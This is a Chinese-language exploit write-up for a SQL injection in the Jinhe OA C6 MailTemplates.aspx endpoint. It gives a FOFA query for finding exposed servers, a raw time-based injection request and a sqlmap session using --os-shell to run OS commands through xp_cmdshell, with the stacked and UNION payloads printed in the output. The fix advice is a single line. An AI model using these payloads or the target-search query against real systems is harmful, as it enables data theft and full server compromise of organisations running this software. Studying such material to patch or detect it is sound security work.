J1-13金和-OA-SQL

漏洞描述：

金和OA C6 MailTemplates.aspx接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

FOFA：app="金和网络-金和OA"

漏洞复现：

payload：

```
GET /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Connection: close
```

效果图:
延时5秒

利用xp_cmdshell命令执行

```
[root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -u "http://  ./C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1*" --os-shell
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:50:30 /2024-01-06/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[21:50:31] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:50:31] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('ASP.NET_SessionId=3smdzdlbb05...uod330bt3l'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: http://  30/C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1;WAITFOR DELAY '0:0:5'--

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: http://  /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1 UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(98)+CHAR(118)+CHAR(113)+CHAR(69)+C
HAR(98)+CHAR(121)+CHAR(65)+CHAR(72)+CHAR(107)+CHAR(101)+CHAR(74)+CHAR(68)+CHAR(115)+CHAR(105)+CHAR(81)+CHAR(109)+CHAR(98)+CHAR(108)+CHAR(72)+CHAR(90)+CHAR(76)+C
HAR(120)+CHAR(115)+CHAR(119)+CHAR(75)+CHAR(120)+CHAR(81)+CHAR(102)+CHAR(117)+CHAR(90)+CHAR(65)+CHAR(80)+CHAR(71)+CHAR(110)+CHAR(77)+CHAR(74)+CHAR(88)+CHAR(70)+C
HAR(68)+CHAR(109)+CHAR(67)+CHAR(118)+CHAR(104)+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(120)+CHAR(113),NULL,NULL-- UnbJ
---
[21:50:33] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2012
[21:50:33] [INFO] testing if current user is DBA
[21:50:33] [WARNING] reflective value(s) found and filtering out
```

修复建议：

更新到最新系统